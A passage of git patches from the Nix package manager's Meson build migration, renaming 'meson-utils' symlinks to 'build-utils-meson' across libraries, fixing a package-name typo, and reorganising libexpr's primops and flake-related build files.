 ]
@@ -27,9 +27,9 @@ deps_public_maybe_subproject = [
   dependency('nix-store-test-support'),
   dependency('nix-fetchers'),
 ]
-subdir('meson-utils/subprojects')
+subdir('build-utils-meson/subprojects')
 
-subdir('meson-utils/export-all-symbols')
+subdir('build-utils-meson/export-all-symbols')
 
 rapidcheck = dependency('rapidcheck')
 deps_private += rapidcheck
@@ -48,7 +48,7 @@ add_project_arguments(
   language : 'cpp',
 )
 
-subdir('meson-utils/diagnostics')
+subdir('build-utils-meson/diagnostics')
 
 sources = files(
   'public-key.cc',
diff --git a/src/libfetchers/build-utils-meson b/src/libfetchers/build-utils-meson
new file mode 120000
index 00000000000..5fff21bab55
--- /dev/null
+++ b/src/libfetchers/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson
\ No newline at end of file
diff --git a/src/libfetchers/meson-utils b/src/libfetchers/meson-utils
deleted file mode 120000
index 41c67447ebc..00000000000
--- a/src/libfetchers/meson-utils
+++ /dev/null
@@ -1 +0,0 @@
-../../meson-utils
\ No newline at end of file
diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build
index 16645bda3ea..257e15766ac 100644
--- a/src/libfetchers/meson.build
+++ b/src/libfetchers/meson.build
@@ -14,7 +14,7 @@ project('nix-fetchers', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils/deps-lists')
+subdir('build-utils-meson/deps-lists')
 
 configdata = configuration_data()
 
@@ -24,7 +24,7 @@ deps_public_maybe_subproject = [
   dependency('nix-util'),
   dependency('nix-store'),
 ]
-subdir('meson-utils/subprojects')
+subdir('build-utils-meson/subprojects')
 
 nlohmann_json = dependency('nlohmann_json', version : '>= 3.9')
 deps_public += nlohmann_json
@@ -41,7 +41,7 @@ add_project_arguments(
   language : 'cpp',
 )
 
-subdir('meson-utils/diagnostics')
+subdir('build-utils-meson/diagnostics')
 
 sources = files(
   'attrs.cc',
@@ -89,4 +89,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true)
 
 libraries_private = []
 
-subdir('meson-utils/export')
+subdir('build-utils-meson/export')
diff --git a/src/libflake-test/build-utils-meson b/src/libflake-test/build-utils-meson
new file mode 120000
index 00000000000..5fff21bab55
--- /dev/null
+++ b/src/libflake-test/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson
\ No newline at end of file
diff --git a/src/libflake-test/meson-utils b/src/libflake-test/meson-utils
deleted file mode 120000
index 41c67447ebc..00000000000
--- a/src/libflake-test/meson-utils
+++ /dev/null
@@ -1 +0,0 @@
-../../meson-utils
\ No newline at end of file
diff --git a/src/libflake-test/meson.build b/src/libflake-test/meson.build
index b5f0c2fb402..dd3f658bec5 100644
--- a/src/libflake-test/meson.build
+++ b/src/libflake-test/meson.build
@@ -14,7 +14,7 @@ project('nix-flake-test', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils/deps-lists')
+subdir('build-utils-meson/deps-lists')
 
 deps_private_maybe_subproject = [
 ]
@@ -30,9 +30,9 @@ deps_public_maybe_subproject = [
   dependency('nix-expr-test-support'),
   dependency('nix-flake'),
 ]
-subdir('meson-utils/subprojects')
+subdir('build-utils-meson/subprojects')
 
-subdir('meson-utils/export-all-symbols')
+subdir('build-utils-meson/export-all-symbols')
 
 rapidcheck = dependency('rapidcheck')
 deps_private += rapidcheck
@@ -52,7 +52,7 @@ add_project_arguments(
   language : 'cpp',
 )
 
-subdir('meson-utils/diagnostics')
+subdir('build-utils-meson/diagnostics')
 
 sources = files(
   'flakeref.cc',
diff --git a/src/libflake/build-utils-meson b/src/libflake/build-utils-meson
new file mode 120000
index 00000000000..5fff21bab55
--- /dev/null
+++ b/src/libflake/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson
\ No newline at end of file
diff --git a/src/libflake/meson-utils b/src/libflake/meson-utils
deleted file mode 120000
index 41c67447ebc..00000000000
--- a/src/libflake/meson-utils
+++ /dev/null
@@ -1 +0,0 @@
-../../meson-utils
\ No newline at end of file
diff --git a/src/libflake/meson.build b/src/libflake/meson.build
index 13541fc4323..e43d21dd32a 100644
--- a/src/libflake/meson.build
+++ b/src/libflake/meson.build
@@ -14,7 +14,7 @@ project('nix-flake', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils/deps-lists')
+subdir('build-utils-meson/deps-lists')
 
 deps_private_maybe_subproject = [
 ]
@@ -24,7 +24,7 @@ deps_public_maybe_subproject = [
   dependency('nix-fetchers'),
   dependency('nix-expr'),
 ]
-subdir('meson-utils/subprojects')
+subdir('build-utils-meson/subprojects')
 
 nlohmann_json = dependency('nlohmann_json', version : '>= 3.9')
 deps_public += nlohmann_json
@@ -42,7 +42,7 @@ add_project_arguments(
   language : 'cpp',
 )
 
-subdir('meson-utils/diagnostics')
+subdir('build-utils-meson/diagnostics')
 
 sources = files(
   'flake-settings.cc',
@@ -74,4 +74,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true)
 
 libraries_private = []
 
-subdir('meson-utils/export')
+subdir('build-utils-meson/export')
diff --git a/src/libmain/build-utils-meson b/src/libmain/build-utils-meson
new file mode 120000
index 00000000000..5fff21bab55
--- /dev/null
+++ b/src/libmain/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson
\ No newline at end of file
diff --git a/src/libmain/meson-utils b/src/libmain/meson-utils
deleted file mode 120000
index 41c67447ebc..00000000000
--- a/src/libmain/meson-utils
+++ /dev/null
@@ -1 +0,0 @@
-../../meson-utils
\ No newline at end of file
diff --git a/src/libstore-c/build-utils-meson b/src/libstore-c/build-utils-meson
new file mode 120000
index 00000000000..5fff21bab55
--- /dev/null
+++ b/src/libstore-c/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson
\ No newline at end of file
diff --git a/src/libstore-c/meson-utils b/src/libstore-c/meson-utils
deleted file mode 120000
index 41c67447ebc..00000000000
--- a/src/libstore-c/meson-utils
+++ /dev/null
@@ -1 +0,0 @@
-../../meson-utils
\ No newline at end of file
diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build
index cd068fed280..4f2d77d9fce 100644
--- a/src/libstore-c/meson.build
+++ b/src/libstore-c/meson.build
@@ -14,7 +14,7 @@ project('nix-store-c', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils/deps-lists')
+subdir('build-utils-meson/deps-lists')
 
 configdata = configuration_data()
 
@@ -25,7 +25,7 @@ deps_private_maybe_subproject = [
 deps_public_maybe_subproject = [
   dependency('nix-util-c'),
 ]
-subdir('meson-utils/subprojects')
+subdir('build-utils-meson/subprojects')
 
 # TODO rename, because it will conflict with downstream projects
 configdata.set_quoted('PACKAGE_VERSION', meson.project_version())
@@ -49,7 +49,7 @@ add_project_arguments(
   language : 'cpp',
 )
 
-subdir('meson-utils/diagnostics')
+subdir('build-utils-meson/diagnostics')
 
 sources = files(
   'nix_api_store.cc',
@@ -61,7 +61,7 @@ headers = [config_h] + files(
   'nix_api_store.h',
 )
 
-subdir('meson-utils/export-all-symbols')
+subdir('build-utils-meson/export-all-symbols')
 
 this_library = library(
   'nixstorec',
@@ -76,4 +76,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true)
 
 libraries_private = []
 
-subdir('meson-utils/export')
+subdir('build-utils-meson/export')
diff --git a/src/libstore-test-support/build-utils-meson b/src/libstore-test-support/build-utils-meson
new file mode 120000
index 00000000000..5fff21bab55
--- /dev/null
+++ b/src/libstore-test-support/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson
\ No newline at end of file
diff --git a/src/libstore-test-support/meson-utils b/src/libstore-test-support/meson-utils
deleted file mode 120000
index 41c67447ebc..00000000000
--- a/src/libstore-test-support/meson-utils
+++ /dev/null
@@ -1 +0,0 @@
-../../meson-utils
\ No newline at end of file
diff --git a/src/libstore-test-support/meson.build b/src/libstore-test-support/meson.build
index adf6f685eb6..e278bd3f80a 100644
--- a/src/libstore-test-support/meson.build
+++ b/src/libstore-test-support/meson.build
@@ -14,7 +14,7 @@ project('nix-store-test-support', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils/deps-lists')
+subdir('build-utils-meson/deps-lists')
 
 deps_private_maybe_subproject = [
 ]
@@ -23,7 +23,7 @@ deps_public_maybe_subproject = [
   dependency('nix-util-test-support'),
   dependency('nix-store'),
 ]
-subdir('meson-utils/subprojects')
+subdir('build-utils-meson/subprojects')
 
 rapidcheck = dependency('rapidcheck')
 deps_public += rapidcheck
@@ -36,7 +36,7 @@ add_project_arguments(
   language : 'cpp',
 )
 
-subdir('meson-utils/diagnostics')
+subdir('build-utils-meson/diagnostics')
 
 sources = files(
   'tests/derived-path.cc',
@@ -55,7 +55,7 @@ headers = files(
   'tests/protocol.hh',
 )
 
-subdir('meson-utils/export-all-symbols')
+subdir('build-utils-meson/export-all-symbols')
 
 this_library = library(
   'nix-store-test-support',
@@ -72,4 +72,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true)
 
 libraries_private = []
 
-subdir('meson-utils/export')
+subdir('build-utils-meson/export')
diff --git a/src/libstore-test/build-utils-meson b/src/libstore-test/build-utils-meson
new file mode 120000
index 00000000000..5fff21bab55
--- /dev/null
+++ b/src/libstore-test/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson
\ No newline at end of file
diff --git a/src/libstore-test/meson-utils b/src/libstore-test/meson-utils
deleted file mode 120000
index 41c67447ebc..00000000000
--- a/src/libstore-test/meson-utils
+++ /dev/null
@@ -1 +0,0 @@
-../../meson-utils
\ No newline at end of file
diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build
index 2cdbfa7b511..6599b2d9661 100644
--- a/src/libstore-test/meson.build
+++ b/src/libstore-test/meson.build
@@ -14,7 +14,7 @@ project('nix-store-test', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils/deps-lists')
+subdir('build-utils-meson/deps-lists')
 
 deps_private_maybe_subproject = [
 ]
@@ -26,9 +26,9 @@ deps_public_maybe_subproject = [
   dependency('nix-store-c'),
   dependency('nix-store-test-support'),
 ]
-subdir('meson-utils/subprojects')
+subdir('build-utils-meson/subprojects')
 
-subdir('meson-utils/export-all-symbols')
+subdir('build-utils-meson/export-all-symbols')
 
 rapidcheck = dependency('rapidcheck')
 deps_private += rapidcheck
@@ -49,7 +49,7 @@ add_project_arguments(
   language : 'cpp',
 )
 
-subdir('meson-utils/diagnostics')
+subdir('build-utils-meson/diagnostics')
 
 sources = files(
   'common-protocol.cc',
diff --git a/src/libstore/build-utils-meson b/src/libstore/build-utils-meson
new file mode 120000
index 00000000000..5fff21bab55
--- /dev/null
+++ b/src/libstore/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson
\ No newline at end of file
diff --git a/src/libstore/meson-utils b/src/libstore/meson-utils
deleted file mode 120000
index 41c67447ebc..00000000000
--- a/src/libstore/meson-utils
+++ /dev/null
@@ -1 +0,0 @@
-../../meson-utils
\ No newline at end of file
diff --git a/src/libstore/meson.build b/src/libstore/meson.build
index 2bc3f27e47f..62137ef5fa6 100644
--- a/src/libstore/meson.build
+++ b/src/libstore/meson.build
@@ -14,7 +14,7 @@ project('nix-store', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils/deps-lists')
+subdir('build-utils-meson/deps-lists')
 
 configdata = configuration_data()
 
@@ -28,7 +28,7 @@ deps_private_maybe_subproject = [
 deps_public_maybe_subproject = [
   dependency('nix-util'),
 ]
-subdir('meson-utils/subprojects')
+subdir('build-utils-meson/subprojects')
 
 run_command('ln', '-s',
   meson.project_build_root() / '__nothing_link_target',
@@ -67,7 +67,7 @@ has_acl_support = cxx.has_header('sys/xattr.h') \
   and cxx.has_function('lremovexattr')
 configdata.set('HAVE_ACL_SUPPORT', has_acl_support.to_int())
 
-subdir('meson-utils/threads')
+subdir('build-utils-meson/threads')
 
 boost = dependency(
   'boost',
@@ -153,7 +153,7 @@ add_project_arguments(
   language : 'cpp',
 )
 
-subdir('meson-utils/diagnostics')
+subdir('build-utils-meson/diagnostics')
 
 sources = files(
   'binary-cache-store.cc',
@@ -385,7 +385,7 @@ foreach name, value : cpp_str_defines
   ]
 endforeach
 
-subdir('meson-utils/export-all-symbols')
+subdir('build-utils-meson/export-all-symbols')
 
 this_library = library(
   'nixstore',
@@ -402,4 +402,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true)
 
 libraries_private = []
 
-subdir('meson-utils/export')
+subdir('build-utils-meson/export')
diff --git a/src/libutil-c/build-utils-meson b/src/libutil-c/build-utils-meson
new file mode 120000
index 00000000000..5fff21bab55
--- /dev/null
+++ b/src/libutil-c/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson
\ No newline at end of file
diff --git a/src/libutil-c/meson-utils b/src/libutil-c/meson-utils
deleted file mode 120000
index 41c67447ebc..00000000000
--- a/src/libutil-c/meson-utils
+++ /dev/null
@@ -1 +0,0 @@
-../../meson-utils
\ No newline at end of file
diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build
index 6c316784d7b..5e12186d24c 100644
--- a/src/libutil-c/meson.build
+++ b/src/libutil-c/meson.build
@@ -14,7 +14,7 @@ project('nix-util-c', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils/deps-lists')
+subdir('build-utils-meson/deps-lists')
 
 configdata = configuration_data()
 
@@ -23,7 +23,7 @@ deps_private_maybe_subproject = [
 ]
 deps_public_maybe_subproject = [
 ]
-subdir('meson-utils/subprojects')
+subdir('build-utils-meson/subprojects')
 
 # TODO rename, because it will conflict with downstream projects
 configdata.set_quoted('PACKAGE_VERSION', meson.project_version())
@@ -45,7 +45,7 @@ add_project_arguments(
   language : 'cpp',
 )
 
-subdir('meson-utils/diagnostics')
+subdir('build-utils-meson/diagnostics')
 
 sources = files(
   'nix_api_util.cc',
@@ -57,7 +57,7 @@ headers = [config_h] + files(
   'nix_api_util.h',
 )
 
-subdir('meson-utils/export-all-symbols')
+subdir('build-utils-meson/export-all-symbols')
 
 this_library = library(
   'nixutilc',
@@ -72,4 +72,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true)
 
 libraries_private = []
 
-subdir('meson-utils/export')
+subdir('build-utils-meson/export')
diff --git a/src/libutil-test-support/build-utils-meson b/src/libutil-test-support/build-utils-meson
new file mode 120000
index 00000000000..5fff21bab55
--- /dev/null
+++ b/src/libutil-test-support/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson
\ No newline at end of file
diff --git a/src/libutil-test-support/meson-utils b/src/libutil-test-support/meson-utils
deleted file mode 120000
index 41c67447ebc..00000000000
--- a/src/libutil-test-support/meson-utils
+++ /dev/null
@@ -1 +0,0 @@
-../../meson-utils
\ No newline at end of file
diff --git a/src/libutil-test-support/meson.build b/src/libutil-test-support/meson.build
index d63fabce54c..a36aa2a000b 100644
--- a/src/libutil-test-support/meson.build
+++ b/src/libutil-test-support/meson.build
@@ -14,14 +14,14 @@ project('nix-util-test-support', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils/deps-lists')
+subdir('build-utils-meson/deps-lists')
 
 deps_private_maybe_subproject = [
 ]
 deps_public_maybe_subproject = [
   dependency('nix-util'),
 ]
-subdir('meson-utils/subprojects')
+subdir('build-utils-meson/subprojects')
 
 rapidcheck = dependency('rapidcheck')
 deps_public += rapidcheck
@@ -33,7 +33,7 @@ add_project_arguments(
   language : 'cpp',
 )
 
-subdir('meson-utils/diagnostics')
+subdir('build-utils-meson/diagnostics')
 
 sources = files(
   'tests/hash.cc',
@@ -49,7 +49,7 @@ headers = files(
   'tests/string_callback.hh',
 )
 
-subdir('meson-utils/export-all-symbols')
+subdir('build-utils-meson/export-all-symbols')
 
 this_library = library(
   'nix-util-test-support',
@@ -66,4 +66,4 @@ install_headers(headers, subdir : 'nix', preserve_path : true)
 
 libraries_private = []
 
-subdir('meson-utils/export')
+subdir('build-utils-meson/export')
diff --git a/src/libutil-test/build-utils-meson b/src/libutil-test/build-utils-meson
new file mode 120000
index 00000000000..5fff21bab55
--- /dev/null
+++ b/src/libutil-test/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson
\ No newline at end of file
diff --git a/src/libutil-test/meson-utils b/src/libutil-test/meson-utils
deleted file mode 120000
index 41c67447ebc..00000000000
--- a/src/libutil-test/meson-utils
+++ /dev/null
@@ -1 +0,0 @@
-../../meson-utils
\ No newline at end of file
diff --git a/src/libutil-test/meson.build b/src/libutil-test/meson.build
index 43001ca6821..b90148f2113 100644
--- a/src/libutil-test/meson.build
+++ b/src/libutil-test/meson.build
@@ -14,7 +14,7 @@ project('nix-util-test', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils/deps-lists')
+subdir('build-utils-meson/deps-lists')
 
 deps_private_maybe_subproject = [
 ]
@@ -23,9 +23,9 @@ deps_public_maybe_subproject = [
   dependency('nix-util-c'),
   dependency('nix-util-test-support'),
 ]
-subdir('meson-utils/subprojects')
+subdir('build-utils-meson/subprojects')
 
-subdir('meson-utils/export-all-symbols')
+subdir('build-utils-meson/export-all-symbols')
 
 rapidcheck = dependency('rapidcheck')
 deps_private += rapidcheck
@@ -41,7 +41,7 @@ add_project_arguments(
   language : 'cpp',
 )
 
-subdir('meson-utils/diagnostics')
+subdir('build-utils-meson/diagnostics')
 
 sources = files(
   'args.cc',
diff --git a/src/libutil/build-utils-meson b/src/libutil/build-utils-meson
new file mode 120000
index 00000000000..5fff21bab55
--- /dev/null
+++ b/src/libutil/build-utils-meson
@@ -0,0 +1 @@
+../../build-utils-meson
\ No newline at end of file
diff --git a/src/libutil/meson-utils b/src/libutil/meson-utils
deleted file mode 120000
index 41c67447ebc..00000000000
--- a/src/libutil/meson-utils
+++ /dev/null
@@ -1 +0,0 @@
-../../meson-utils
\ No newline at end of file
diff --git a/src/libutil/meson.build b/src/libutil/meson.build
index 5eee8b3b218..c878080670a 100644
--- a/src/libutil/meson.build
+++ b/src/libutil/meson.build
@@ -14,7 +14,7 @@ project('nix-util', 'cpp',
 
 cxx = meson.get_compiler('cpp')
 
-subdir('meson-utils/deps-lists')
+subdir('build-utils-meson/deps-lists')
 
 configdata = configuration_data()
 
@@ -22,7 +22,7 @@ deps_private_maybe_subproject = [
 ]
 deps_public_maybe_subproject = [
 ]
-subdir('meson-utils/subprojects')
+subdir('build-utils-meson/subprojects')
 
 # Check for each of these functions, and create a define like `#define
 # HAVE_LUTIMES 1`. The `#define` is unconditional, 0 for not found and 1
@@ -48,7 +48,7 @@ foreach funcspec : check_funcs
   configdata.set(define_name, define_value)
 endforeach
 
-subdir('meson-utils/threads')
+subdir('build-utils-meson/threads')
 
 if host_machine.system() == 'windows'
   socket = cxx.find_library('ws2_32')
@@ -114,7 +114,7 @@ add_project_arguments(
   language : 'cpp',
 )
 
-subdir('meson-utils/diagnostics')
+subdir('build-utils-meson/diagnostics')
 
 sources = files(
   'archive.cc',
@@ -241,7 +241,7 @@ else
   subdir('unix')
 endif
 
-subdir('meson-utils/export-all-symbols')
+subdir('build-utils-meson/export-all-symbols')
 
 this_library = library(
   'nixutil',
@@ -261,4 +261,4 @@ if host_machine.system() == 'windows'
   libraries_private += ['-lws2_32']
 endif
 
-subdir('meson-utils/export')
+subdir('build-utils-meson/export')

From 5ba9f6cec616b26994441a8cbd766e528cd99609 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 18:28:24 -0400
Subject: [PATCH 477/528] Fix typo

---
 packaging/hydra.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/packaging/hydra.nix b/packaging/hydra.nix
index 8c212d2fbaf..244a4ad3f3f 100644
--- a/packaging/hydra.nix
+++ b/packaging/hydra.nix
@@ -44,7 +44,7 @@ let
     "nix-store-test-support"
     "nix-store-test"
     "nix-fetchers"
-    "nix-fetcher-test"
+    "nix-fetchers-test"
     "nix-expr"
     "nix-expr-c"
     "nix-expr-test-support"

From 479befa76d6b6d78b9304716a108ecd8c5cbae6c Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 19:19:32 -0400
Subject: [PATCH 478/528] More fixes

---
 flake.nix                              |  1 +
 meson.build                            |  4 ++--
 src/libexpr-c/package.nix              |  4 +++-
 src/libexpr-test-support/package.nix   |  4 +++-
 src/libexpr-test/meson.build           | 10 ++--------
 src/libexpr-test/package.nix           |  4 +++-
 src/libexpr/{flake => }/call-flake.nix |  0
 src/libexpr/eval.cc                    |  2 +-
 src/libexpr/local.mk                   |  2 +-
 src/libexpr/meson.build                | 13 ++++++-------
 src/libexpr/package.nix                | 19 ++++++++++++++++++-
 src/libexpr/primops/meson.build        | 17 +++++++++++++++++
 src/libfetchers-test/meson.build       | 11 ++---------
 src/libfetchers-test/package.nix       |  4 +++-
 src/libfetchers/meson.build            |  2 +-
 src/libfetchers/package.nix            |  4 +++-
 src/libflake-test/meson.build          | 15 ++-------------
 src/libflake-test/package.nix          |  4 +++-
 src/libflake/meson.build               |  3 ---
 src/libflake/package.nix               |  4 +++-
 src/libstore-c/package.nix             |  4 +++-
 src/libstore-test-support/package.nix  |  4 +++-
 src/libstore-test/meson.build          |  7 ++-----
 src/libstore-test/package.nix          |  4 +++-
 src/libstore/package.nix               |  4 +++-
 src/libutil-c/package.nix              |  4 +++-
 src/libutil-test-support/package.nix   |  4 +++-
 src/libutil-test/meson.build           |  4 ++--
 src/libutil-test/package.nix           |  4 +++-
 src/libutil/package.nix                |  2 ++
 30 files changed, 101 insertions(+), 67 deletions(-)
 rename src/libexpr/{flake => }/call-flake.nix (100%)
 create mode 100644 src/libexpr/primops/meson.build

diff --git a/flake.nix b/flake.nix
index fc46ef940bb..cfea7d38622 100644
--- a/flake.nix
+++ b/flake.nix
@@ -324,6 +324,7 @@
             ++ pkgs.nixComponents.nix-internal-api-docs.nativeBuildInputs
             ++ pkgs.nixComponents.nix-external-api-docs.nativeBuildInputs
             ++ [
+              pkgs.buildPackages.cmake
               modular.pre-commit.settings.package
               (pkgs.writeScriptBin "pre-commit-hooks-install"
                 modular.pre-commit.settings.installationScript)
diff --git a/meson.build b/meson.build
index e969fc907ea..fb38d7ef297 100644
--- a/meson.build
+++ b/meson.build
@@ -13,8 +13,8 @@ subproject('libexpr')
 subproject('libflake')
 
 # Docs
-#subproject('internal-api-docs')
-#subproject('external-api-docs')
+subproject('internal-api-docs')
+subproject('external-api-docs')
 
 # C wrappers
 subproject('libutil-c')
diff --git a/src/libexpr-c/package.nix b/src/libexpr-c/package.nix
index 542be064d8e..33412e21872 100644
--- a/src/libexpr-c/package.nix
+++ b/src/libexpr-c/package.nix
@@ -62,9 +62,11 @@ mkDerivation (finalAttrs: {
   ];
 
   preConfigure =
-    # "Inline" .version so it's not a symlink, and includes the suffix
+    # "Inline" .version so it's not a symlink, and includes the suffix.
+    # Do the meson utils, without modification.
     ''
       echo ${version} > .version
+      cp -r ${../../build-utils-meson} build-utils-meson
     '';
 
   mesonFlags = [
diff --git a/src/libexpr-test-support/package.nix b/src/libexpr-test-support/package.nix
index cbc852fa507..ecfb2bb098f 100644
--- a/src/libexpr-test-support/package.nix
+++ b/src/libexpr-test-support/package.nix
@@ -64,9 +64,11 @@ mkDerivation (finalAttrs: {
   ];
 
   preConfigure =
-    # "Inline" .version so it's not a symlink, and includes the suffix
+    # "Inline" .version so it's not a symlink, and includes the suffix.
+    # Do the meson utils, without modification.
     ''
       echo ${version} > .version
+      cp -r ${../../build-utils-meson} build-utils-meson
     '';
 
   mesonFlags = [
diff --git a/src/libexpr-test/meson.build b/src/libexpr-test/meson.build
index f70fd069328..04b60f6d61b 100644
--- a/src/libexpr-test/meson.build
+++ b/src/libexpr-test/meson.build
@@ -17,18 +17,12 @@ cxx = meson.get_compiler('cpp')
 subdir('build-utils-meson/deps-lists')
 
 deps_private_maybe_subproject = [
-]
-deps_public_maybe_subproject = [
-  dependency('nix-util'),
-  dependency('nix-util-c'),
-  dependency('nix-util-test-support'),
-  dependency('nix-store'),
-  dependency('nix-store-c'),
-  dependency('nix-store-test-support'),
   dependency('nix-expr'),
   dependency('nix-expr-c'),
   dependency('nix-expr-test-support'),
 ]
+deps_public_maybe_subproject = [
+]
 subdir('build-utils-meson/subprojects')
 
 subdir('build-utils-meson/export-all-symbols')
diff --git a/src/libexpr-test/package.nix b/src/libexpr-test/package.nix
index 7c8c9c4d16b..12f4dd5068f 100644
--- a/src/libexpr-test/package.nix
+++ b/src/libexpr-test/package.nix
@@ -69,9 +69,11 @@ mkDerivation (finalAttrs: {
   ];
 
   preConfigure =
-    # "Inline" .version so it's not a symlink, and includes the suffix
+    # "Inline" .version so it's not a symlink, and includes the suffix.
+    # Do the meson utils, without modification.
     ''
       echo ${version} > .version
+      cp -r ${../../build-utils-meson} build-utils-meson
     '';
 
   mesonFlags = [
diff --git a/src/libexpr/flake/call-flake.nix b/src/libexpr/call-flake.nix
similarity index 100%
rename from src/libexpr/flake/call-flake.nix
rename to src/libexpr/call-flake.nix
diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index d2be00e55f1..48ed66883b8 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -293,7 +293,7 @@ EvalState::EvalState(
     )}
     , callFlakeInternal{internalFS->addFile(
         CanonPath("call-flake.nix"),
-        #include "flake/call-flake.nix.gen.hh"
+        #include "call-flake.nix.gen.hh"
     )}
     , store(store)
     , buildStore(buildStore ? buildStore : store)
diff --git a/src/libexpr/local.mk b/src/libexpr/local.mk
index 26958bf2cd6..68518e184b5 100644
--- a/src/libexpr/local.mk
+++ b/src/libexpr/local.mk
@@ -47,4 +47,4 @@ $(foreach i, $(wildcard src/libexpr/value/*.hh), \
 
 $(d)/primops.cc: $(d)/imported-drv-to-derivation.nix.gen.hh
 
-$(d)/eval.cc: $(d)/primops/derivation.nix.gen.hh $(d)/fetchurl.nix.gen.hh $(d)/flake/call-flake.nix.gen.hh
+$(d)/eval.cc: $(d)/primops/derivation.nix.gen.hh $(d)/fetchurl.nix.gen.hh $(d)/call-flake.nix.gen.hh
diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build
index fdf26460486..04822d1796d 100644
--- a/src/libexpr/meson.build
+++ b/src/libexpr/meson.build
@@ -55,6 +55,9 @@ if bdw_gc.found()
 endif
 configdata.set('HAVE_BOEHMGC', bdw_gc.found().to_int())
 
+toml11 = dependency('toml11', version : '>=3.7.0', method : 'cmake')
+deps_other += toml11
+
 config_h = configure_file(
   configuration : configdata,
   output : 'config-expr.hh',
@@ -117,8 +120,7 @@ generated_headers = []
 foreach header : [
   'imported-drv-to-derivation.nix',
   'fetchurl.nix',
-  'flake/call-flake.nix',
-  'primops/derivation.nix',
+  'call-flake.nix',
 ]
   generated_headers += custom_target(
     command : [ 'bash', '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ],
@@ -142,11 +144,6 @@ sources = files(
   'nixexpr.cc',
   'paths.cc',
   'primops.cc',
-  'primops/context.cc',
-  'primops/fetchClosure.cc',
-  'primops/fetchMercurial.cc',
-  'primops/fetchTree.cc',
-  'primops/fromTOML.cc',
   'print-ambiguous.cc',
   'print.cc',
   'search-path.cc',
@@ -187,6 +184,8 @@ headers = [config_h] + files(
   'value/context.hh',
 )
 
+subdir('primops')
+
 this_library = library(
   'nixexpr',
   sources,
diff --git a/src/libexpr/package.nix b/src/libexpr/package.nix
index 14fbf0a060b..855d5057e53 100644
--- a/src/libexpr/package.nix
+++ b/src/libexpr/package.nix
@@ -5,6 +5,9 @@
 , meson
 , ninja
 , pkg-config
+, bison
+, flex
+, cmake # for resolving toml11 dep
 
 , nix-util
 , nix-store
@@ -12,6 +15,7 @@
 , boost
 , boehmgc
 , nlohmann_json
+, toml11
 
 # Configuration Options
 
@@ -57,8 +61,12 @@ mkDerivation (finalAttrs: {
     fileset = fileset.unions [
       ./meson.build
       ./meson.options
+      ./primops/meson.build
       (fileset.fileFilter (file: file.hasExt "cc") ./.)
       (fileset.fileFilter (file: file.hasExt "hh") ./.)
+      ./lexer.l
+      ./parser.y
+      (fileset.fileFilter (file: file.hasExt "nix") ./.)
     ];
   };
 
@@ -68,6 +76,13 @@ mkDerivation (finalAttrs: {
     meson
     ninja
     pkg-config
+    bison
+    flex
+    cmake
+  ];
+
+  buildInputs = [
+    toml11
   ];
 
   propagatedBuildInputs = [
@@ -79,9 +94,11 @@ mkDerivation (finalAttrs: {
   ] ++ lib.optional enableGC boehmgc;
 
   preConfigure =
-    # "Inline" .version so it's not a symlink, and includes the suffix
+    # "Inline" .version so it's not a symlink, and includes the suffix.
+    # Do the meson utils, without modification.
     ''
       echo ${version} > .version
+      cp -r ${../../build-utils-meson} build-utils-meson
     '';
 
   mesonFlags = [
diff --git a/src/libexpr/primops/meson.build b/src/libexpr/primops/meson.build
new file mode 100644
index 00000000000..96a1dd07ecf
--- /dev/null
+++ b/src/libexpr/primops/meson.build
@@ -0,0 +1,17 @@
+foreach header : [
+  'derivation.nix',
+]
+  generated_headers += custom_target(
+    command : [ 'bash', '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ],
+    input : header,
+    output : '@PLAINNAME@.gen.hh',
+  )
+endforeach
+
+sources += files(
+  'context.cc',
+  'fetchClosure.cc',
+  'fetchMercurial.cc',
+  'fetchTree.cc',
+  'fromTOML.cc',
+)
diff --git a/src/libfetchers-test/meson.build b/src/libfetchers-test/meson.build
index e7c5b7873d7..785754b3473 100644
